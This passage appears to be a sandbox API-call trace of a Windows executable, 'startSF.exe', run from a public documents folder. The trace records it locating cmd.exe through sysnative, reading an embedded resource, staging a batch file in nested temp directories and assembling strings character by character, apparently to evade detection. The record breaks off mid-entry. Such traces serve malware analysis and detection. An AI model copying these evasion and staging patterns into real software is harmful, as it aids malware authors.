GetWindowsDirectoryW (in: lpBuffer=0x1f49190, uSize=0x800 | out: lpBuffer="C:\\Windows") returned 0xa [0062.110] PathAddBackslashW (in: pszPath="C:\\Windows" | out: pszPath="C:\\Windows\\") returned="" [0062.110] GetLastError () returned 0x0 [0062.110] SetLastError (dwErrCode=0x0) [0062.110] wcslen (_String="C:\\Windows\\") returned 0xb [0062.110] wcslen (_String="sysnative") returned 0x9 [0062.110] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f49190, Size=0x32) returned 0x1f49190 [0062.110] PathAddBackslashW (in: pszPath="C:\\Windows\\sysnative" | out: pszPath="C:\\Windows\\sysnative\\") returned="" [0062.110] GetLastError () returned 0x0 [0062.110] SetLastError (dwErrCode=0x0) [0062.110] wcslen (_String="C:\\Windows\\sysnative\\") returned 0x15 [0062.110] wcslen (_String="cmd") returned 0x3 [0062.111] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x3a) returned 0x1f449e8 [0062.111] GetLastError () returned 0x0 [0062.111] SetLastError (dwErrCode=0x0) [0062.111] wcslen (_String="C:\\Windows\\sysnative\\") returned 0x15 [0062.111] wcslen (_String="cmd") returned 0x3 [0062.111] wcslen (_String=".exe") returned 0x4 [0062.111] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x42) returned 0x1f44a30 [0062.111] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x20) returned 0x7612b0 [0062.111] CreateFileW (lpFileName="C:\\Windows\\sysnative\\cmd" (normalized: "c:\\windows\\sysnative\\cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.111] CreateFileW (lpFileName="C:\\Windows\\sysnative\\cmd.exe" (normalized: "c:\\windows\\sysnative\\cmd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd0 [0062.114] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x1000) returned 0x7612d8 [0062.115] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.115] CloseHandle (hObject=0xd0) returned 1 [0062.115] GetLastError () returned 0x0 [0062.115] SetLastError (dwErrCode=0x0) [0062.115] wcslen (_String="C:\\Windows\\sysnative\\") returned 0x15 [0062.116] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44a30 | out: hHeap=0x1f40000) returned 1 [0062.116] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56ba8 | out: hHeap=0x1f40000) returned 1 [0062.116] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f573c8 | out: hHeap=0x1f40000) returned 1 [0062.116] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f49190 | out: hHeap=0x1f40000) returned 1 [0062.116] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f449e8 | out: hHeap=0x1f40000) returned 1 [0062.116] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x34) returned 0x1f449e8 [0062.116] GetCommandLineW () returned="\"C:\\Users\\Public\\Documents\\startSF.exe\" " [0062.116] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0062.116] GetLastError () returned 0x0 [0062.117] SetLastError (dwErrCode=0x0) [0062.117] GetLastError () returned 0x0 [0062.117] SetLastError (dwErrCode=0x0) [0062.117] GetLastError () returned 0x0 [0062.117] SetLastError (dwErrCode=0x0) [0062.117] GetLastError () returned 0x0 [0062.117] SetLastError (dwErrCode=0x0) [0062.117] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x9c) returned 0x7612d8 [0062.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.117] malloc (_Size=0x22) returned 0x6013c0 [0062.117] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36FA8320AE17B4B0AF374ED522F9BBB8", cchWideChar=33, lpMultiByteStr=0x6013c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36FA8320AE17B4B0AF374ED522F9BBB8", lpUsedDefaultChar=0x0) returned 33 [0062.117] free (_Block=0x6013c0) [0062.117] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.118] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f44a28 [0062.118] GetLastError () returned 0x0 [0062.118] SetLastError (dwErrCode=0x0) [0062.118] GetLastError () returned 0x0 [0062.118] SetLastError (dwErrCode=0x0) [0062.118] GetLastError () returned 0x0 [0062.118] SetLastError (dwErrCode=0x0) [0062.118] GetLastError () returned 0x0 [0062.118] SetLastError (dwErrCode=0x0) [0062.118] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x9c) returned 0x7612d8 [0062.118] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C1F0F7C622CAB348492D1AB929AC8AD5", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.118] malloc (_Size=0x22) returned 0x6013c0 [0062.119] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C1F0F7C622CAB348492D1AB929AC8AD5", cchWideChar=33, lpMultiByteStr=0x6013c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C1F0F7C622CAB348492D1AB929AC8AD5", lpUsedDefaultChar=0x0) returned 33 [0062.119] free (_Block=0x6013c0) [0062.119] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.119] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a28, Size=0x4a) returned 0x1f44a28 [0062.119] wcslen (_String="2974CA65CF6389B3AC43F1B84C181E57") returned 0x20 [0062.119] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f491a8 [0062.119] FindResourceW (hModule=0x400000, lpName="2974CA65CF6389B3AC43F1B84C181E57", lpType=0xa) returned 0x4190f0 [0062.119] LoadResource (hModule=0x400000, hResInfo=0x4190f0) returned 0x419220 [0062.119] SizeofResource (hModule=0x400000, hResInfo=0x4190f0) returned 0xe [0062.119] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0xe) returned 0x8607d0 [0062.119] memcpy (in: _Dst=0x8607d0, _Src=0x419220, _Size=0xe | out: _Dst=0x8607d0) returned 0x8607d0 [0062.119] FreeResource (hResData=0x419220) returned 0 [0062.120] RtlSizeHeap (HeapHandle=0x860000, Flags=0x0, MemoryPointer=0x8607d0) returned 0xe [0062.120] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x200) returned 0x8607e8 [0062.120] malloc (_Size=0x1bd0) returned 0x602560 [0062.120] free (_Block=0x602560) [0062.120] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f491a8 | out: hHeap=0x1f40000) returned 1 [0062.120] GetLastError () returned 0x0 [0062.120] SetLastError (dwErrCode=0x0) [0062.121] GetLastError () returned 0x0 [0062.121] SetLastError (dwErrCode=0x0) [0062.121] GetLastError () returned 0x0 [0062.121] SetLastError (dwErrCode=0x0) [0062.121] GetLastError () returned 0x0 [0062.121] SetLastError (dwErrCode=0x0) [0062.121] GetLastError () returned 0x0 [0062.121] SetLastError (dwErrCode=0x0) [0062.121] GetLastError () returned 0x0 [0062.121] SetLastError (dwErrCode=0x0) [0062.121] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.121] GetLastError () returned 0x0 [0062.121] SetLastError (dwErrCode=0x0) [0062.121] wcslen (_String=".") returned 0x1 [0062.121] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56bd8 [0062.121] GetLastError () returned 0x0 [0062.121] SetLastError (dwErrCode=0x0) [0062.121] GetLastError () returned 0x0 [0062.122] SetLastError (dwErrCode=0x0) [0062.122] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bf0 [0062.122] GetLastError () returned 0x0 [0062.122] SetLastError (dwErrCode=0x0) [0062.122] wcslen (_String=".") returned 0x1 [0062.122] wcslen (_String="b") returned 0x1 [0062.122] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xe) returned 0x1f56ba8 [0062.122] GetLastError () returned 0x0 [0062.122] SetLastError (dwErrCode=0x0) [0062.122] GetLastError () returned 0x0 [0062.122] SetLastError (dwErrCode=0x0) [0062.122] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bf0, Size=0xc) returned 0x1f56bd8 [0062.122] GetLastError () returned 0x0 [0062.122] SetLastError (dwErrCode=0x0) [0062.122] wcslen (_String=".b") returned 0x2 [0062.122] wcslen (_String="a") returned 0x1 [0062.122] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x10) returned 0x1f56bf0 [0062.122] GetLastError () returned 0x0 [0062.122] SetLastError (dwErrCode=0x0) [0062.122] GetLastError () returned 0x0 [0062.122] SetLastError (dwErrCode=0x0) [0062.123] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.123] GetLastError () returned 0x0 [0062.123] SetLastError (dwErrCode=0x0) [0062.123] wcslen (_String=".ba") returned 0x3 [0062.123] wcslen (_String="t") returned 0x1 [0062.123] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bf0, Size=0x12) returned 0x1f573c8 [0062.123] RtlAllocateHeap (HeapHandle=0x860000, Flags=0x8, Size=0x400) returned 0x8609f0 [0062.123] GetLastError () returned 0x0 [0062.123] SetLastError (dwErrCode=0x0) [0062.123] GetLastError () returned 0x0 [0062.123] SetLastError (dwErrCode=0x0) [0062.123] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1f40830 | out: lpBuffer="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\") returned 0x25 [0062.123] LoadLibraryW (lpLibFileName="Kernel32.DLL") returned 0x75c80000 [0062.123] GetProcAddress (hModule=0x75c80000, lpProcName="GetLongPathNameW") returned 0x75c9a2cd [0062.123] GetLongPathNameW (in: lpszShortPath="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\", lpszLongPath=0x1f40830, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\") returned 0x26 [0062.125] FreeLibrary (hLibModule=0x75c80000) returned 1 [0062.125] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x56) returned 0x1f44a80 [0062.125] GetTempFileNameW (in: lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\", lpPrefixString="", uUnique=0x0, lpTempFileName=0x8609f0 | out: lpTempFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp")) returned 0xedb2 [0062.127] GetLastError () returned 0x0 [0062.127] SetLastError (dwErrCode=0x0) [0062.128] GetLastError () returned 0x0 [0062.128] SetLastError (dwErrCode=0x0) [0062.128] memcpy (in: _Dst=0x1f40830, _Src=0x8609f0, _Size=0x5c | out: _Dst=0x1f40830) returned 0x1f40830 [0062.128] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x66) returned 0x1f44ae0 [0062.128] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp")) returned 1 [0062.128] wcsncpy (in: _Dest=0x18fd14, _Source="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp", _Count=0x104 | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp" [0062.128] wcslen (_String="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp") returned 0x2e [0062.128] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp"), lpSecurityAttributes=0x0) returned 1 [0062.129] GetTempFileNameW (in: lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp", lpPrefixString="", uUnique=0x0, lpTempFileName=0x8609f0 | out: lpTempFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp")) returned 0xedb3 [0062.130] GetLastError () returned 0x0 [0062.130] SetLastError (dwErrCode=0x0) [0062.130] GetLastError () returned 0x0 [0062.130] SetLastError (dwErrCode=0x0) [0062.130] memcpy (in: _Dst=0x1f40830, _Src=0x8609f0, _Size=0x6e | out: _Dst=0x1f40830) returned 0x1f40830 [0062.130] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x78) returned 0x1f44b50 [0062.130] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp")) returned 1 [0062.130] wcsncpy (in: _Dest=0x18fd14, _Source="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp", _Count=0x104 | out: _Dest="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp") returned="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp" [0062.130] wcslen (_String="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp") returned 0x37 [0062.130] CreateDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp"), lpSecurityAttributes=0x0) returned 1 [0062.130] GetTempFileNameW (in: lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp", lpPrefixString="", uUnique=0x0, lpTempFileName=0x8609f0 | out: lpTempFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.tmp")) returned 0xedb4 [0062.131] PathAddBackslashW (in: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp" | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\") returned="" [0062.131] GetLastError () returned 0x0 [0062.131] SetLastError (dwErrCode=0x0) [0062.131] GetLastError () returned 0x0 [0062.131] SetLastError (dwErrCode=0x0) [0062.131] memcpy (in: _Dst=0x1f40830, _Src=0x8609f0, _Size=0x80 | out: _Dst=0x1f40830) returned 0x1f40830 [0062.131] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8a) returned 0x1f44bd0 [0062.131] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.tmp")) returned 1 [0062.132] PathRenameExtensionW (in: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.tmp", pszExt=".bat" | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 1 [0062.132] GetTempFileNameW (in: lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\", lpPrefixString="", uUnique=0x0, lpTempFileName=0x8609f0 | out: lpTempFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB5.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb5.tmp")) returned 0xedb5 [0062.132] GetLastError () returned 0x0 [0062.132] SetLastError (dwErrCode=0x0) [0062.132] GetLastError () returned 0x0 [0062.132] SetLastError (dwErrCode=0x0) [0062.132] memcpy (in: _Dst=0x1f40830, _Src=0x8609f0, _Size=0x80 | out: _Dst=0x1f40830) returned 0x1f40830 [0062.132] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8a) returned 0x1f57b90 [0062.141] HeapFree (in: hHeap=0x860000, dwFlags=0x0, lpMem=0x8609f0 | out: hHeap=0x860000) returned 1 [0062.156] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44a80 | out: hHeap=0x1f40000) returned 1 [0062.156] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56ba8 | out: hHeap=0x1f40000) returned 1 [0062.156] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f573c8 | out: hHeap=0x1f40000) returned 1 [0062.156] GetLastError () returned 0x0 [0062.156] SetLastError (dwErrCode=0x0) [0062.156] GetLastError () returned 0x0 [0062.156] SetLastError (dwErrCode=0x0) [0062.156] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56ba8 [0062.156] GetLastError () returned 0x0 [0062.156] SetLastError (dwErrCode=0x0) [0062.157] wcslen (_String="S") returned 0x1 [0062.157] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xc) returned 0x1f56bf0 [0062.157] GetLastError () returned 0x0 [0062.157] SetLastError (dwErrCode=0x0) [0062.157] GetLastError () returned 0x0 [0062.157] SetLastError (dwErrCode=0x0) [0062.157] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.157] GetLastError () returned 0x0 [0062.157] SetLastError (dwErrCode=0x0) [0062.157] wcslen (_String="S") returned 0x1 [0062.157] wcslen (_String="e") returned 0x1 [0062.157] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bf0, Size=0xe) returned 0x1f56ba8 [0062.157] GetLastError () returned 0x0 [0062.157] SetLastError (dwErrCode=0x0) [0062.157] GetLastError () returned 0x0 [0062.157] SetLastError (dwErrCode=0x0) [0062.157] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56bf0 [0062.157] GetLastError () returned 0x0 [0062.157] SetLastError (dwErrCode=0x0) [0062.157] wcslen (_String="Se") returned 0x2 [0062.157] wcslen (_String="l") returned 0x1 [0062.157] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0x10) returned 0x1f56bd8 [0062.157] GetLastError () returned 0x0 [0062.158] SetLastError (dwErrCode=0x0) [0062.158] GetLastError () returned 0x0 [0062.158] SetLastError (dwErrCode=0x0) [0062.158] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bf0, Size=0xc) returned 0x1f56ba8 [0062.158] GetLastError () returned 0x0 [0062.158] SetLastError (dwErrCode=0x0) [0062.158] wcslen (_String="Sel") returned 0x3 [0062.158] wcslen (_String="e") returned 0x1 [0062.158] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0x12) returned 0x1f573c8 [0062.158] GetLastError () returned 0x0 [0062.158] SetLastError (dwErrCode=0x0) [0062.158] GetLastError () returned 0x0 [0062.158] SetLastError (dwErrCode=0x0) [0062.158] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.158] GetLastError () returned 0x0 [0062.158] SetLastError (dwErrCode=0x0) [0062.158] wcslen (_String="Sele") returned 0x4 [0062.158] wcslen (_String="c") returned 0x1 [0062.158] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573c8, Size=0x14) returned 0x1f573e8 [0062.158] GetLastError () returned 0x0 [0062.158] SetLastError (dwErrCode=0x0) [0062.158] GetLastError () returned 0x0 [0062.158] SetLastError (dwErrCode=0x0) [0062.159] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.159] GetLastError () returned 0x0 [0062.159] SetLastError (dwErrCode=0x0) [0062.159] wcslen (_String="Selec") returned 0x5 [0062.159] wcslen (_String="t") returned 0x1 [0062.159] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573e8, Size=0x16) returned 0x1f573c8 [0062.159] GetLastError () returned 0x0 [0062.159] SetLastError (dwErrCode=0x0) [0062.159] GetLastError () returned 0x0 [0062.159] SetLastError (dwErrCode=0x0) [0062.159] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.159] GetLastError () returned 0x0 [0062.159] SetLastError (dwErrCode=0x0) [0062.159] wcslen (_String="Select") returned 0x6 [0062.159] wcslen (_String=" ") returned 0x1 [0062.159] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573c8, Size=0x18) returned 0x1f573e8 [0062.159] GetLastError () returned 0x0 [0062.159] SetLastError (dwErrCode=0x0) [0062.159] GetLastError () returned 0x0 [0062.160] SetLastError (dwErrCode=0x0) [0062.160] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.160] GetLastError () returned 0x0 [0062.160] SetLastError (dwErrCode=0x0) [0062.160] wcslen (_String="Select ") returned 0x7 [0062.160] wcslen (_String="t") returned 0x1 [0062.160] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f573e8, Size=0x1a) returned 0x1f489d0 [0062.160] GetLastError () returned 0x0 [0062.160] SetLastError (dwErrCode=0x0) [0062.160] GetLastError () returned 0x0 [0062.160] SetLastError (dwErrCode=0x0) [0062.160] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.160] GetLastError () returned 0x0 [0062.160] SetLastError (dwErrCode=0x0) [0062.160] wcslen (_String="Select t") returned 0x8 [0062.160] wcslen (_String="h") returned 0x1 [0062.160] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f489d0, Size=0x1c) returned 0x1f489f8 [0062.160] GetLastError () returned 0x0 [0062.161] SetLastError (dwErrCode=0x0) [0062.161] GetLastError () returned 0x0 [0062.161] SetLastError (dwErrCode=0x0) [0062.161] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.161] GetLastError () returned 0x0 [0062.161] SetLastError (dwErrCode=0x0) [0062.161] wcslen (_String="Select th") returned 0x9 [0062.161] wcslen (_String="e") returned 0x1 [0062.161] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f489f8, Size=0x1e) returned 0x1f489d0 [0062.161] GetLastError () returned 0x0 [0062.161] SetLastError (dwErrCode=0x0) [0062.161] GetLastError () returned 0x0 [0062.161] SetLastError (dwErrCode=0x0) [0062.161] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.161] GetLastError () returned 0x0 [0062.161] SetLastError (dwErrCode=0x0) [0062.161] wcslen (_String="Select the") returned 0xa [0062.161] wcslen (_String=" ") returned 0x1 [0062.161] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f489d0, Size=0x20) returned 0x1f489f8 [0062.161] GetLastError () returned 0x0 [0062.161] SetLastError (dwErrCode=0x0) [0062.161] GetLastError () returned 0x0 [0062.162] SetLastError (dwErrCode=0x0) [0062.162] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.162] GetLastError () returned 0x0 [0062.162] SetLastError (dwErrCode=0x0) [0062.162] wcslen (_String="Select the ") returned 0xb [0062.162] wcslen (_String="w") returned 0x1 [0062.162] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f489f8, Size=0x22) returned 0x1f44a80 [0062.162] GetLastError () returned 0x0 [0062.162] SetLastError (dwErrCode=0x0) [0062.162] GetLastError () returned 0x0 [0062.162] SetLastError (dwErrCode=0x0) [0062.162] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.162] GetLastError () returned 0x0 [0062.162] SetLastError (dwErrCode=0x0) [0062.162] wcslen (_String="Select the w") returned 0xc [0062.162] wcslen (_String="o") returned 0x1 [0062.162] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x24) returned 0x1f44a80 [0062.162] GetLastError () returned 0x0 [0062.162] SetLastError (dwErrCode=0x0) [0062.162] GetLastError () returned 0x0 [0062.162] SetLastError (dwErrCode=0x0) [0062.162] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.162] GetLastError () returned 0x0 [0062.163] SetLastError (dwErrCode=0x0) [0062.163] wcslen (_String="Select the wo") returned 0xd [0062.163] wcslen (_String="r") returned 0x1 [0062.163] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x26) returned 0x1f44a80 [0062.163] GetLastError () returned 0x0 [0062.163] SetLastError (dwErrCode=0x0) [0062.163] GetLastError () returned 0x0 [0062.163] SetLastError (dwErrCode=0x0) [0062.163] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.163] GetLastError () returned 0x0 [0062.163] SetLastError (dwErrCode=0x0) [0062.163] wcslen (_String="Select the wor") returned 0xe [0062.163] wcslen (_String="k") returned 0x1 [0062.163] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x28) returned 0x1f44a80 [0062.163] GetLastError () returned 0x0 [0062.163] SetLastError (dwErrCode=0x0) [0062.163] GetLastError () returned 0x0 [0062.163] SetLastError (dwErrCode=0x0) [0062.163] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.163] GetLastError () returned 0x0 [0062.163] SetLastError (dwErrCode=0x0) [0062.163] wcslen (_String="Select the work") returned 0xf [0062.163] wcslen (_String="i") returned 0x1 [0062.164] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x2a) returned 0x1f44a80 [0062.164] GetLastError () returned 0x0 [0062.164] SetLastError (dwErrCode=0x0) [0062.164] GetLastError () returned 0x0 [0062.164] SetLastError (dwErrCode=0x0) [0062.164] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56ba8, Size=0xc) returned 0x1f56bd8 [0062.164] GetLastError () returned 0x0 [0062.164] SetLastError (dwErrCode=0x0) [0062.164] wcslen (_String="Select the worki") returned 0x10 [0062.164] wcslen (_String="n") returned 0x1 [0062.164] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x2c) returned 0x1f44a80 [0062.164] GetLastError () returned 0x0 [0062.164] SetLastError (dwErrCode=0x0) [0062.164] GetLastError () returned 0x0 [0062.164] SetLastError (dwErrCode=0x0) [0062.164] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f56bd8, Size=0xc) returned 0x1f56ba8 [0062.164] GetLastError () returned 0x0 [0062.164] SetLastError (dwErrCode=0x0) [0062.164] wcslen (_String="Select the workin") returned 0x11 [0062.164] wcslen (_String="g") returned 0x1 [0062.164] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f44a80, Size=0x2e) returned 0x1f44a80 [0062.164] GetLastError () returned 0x0 [0062.164] SetLastError (dwErrCode=0x0) [0062.164] GetLastError () returned 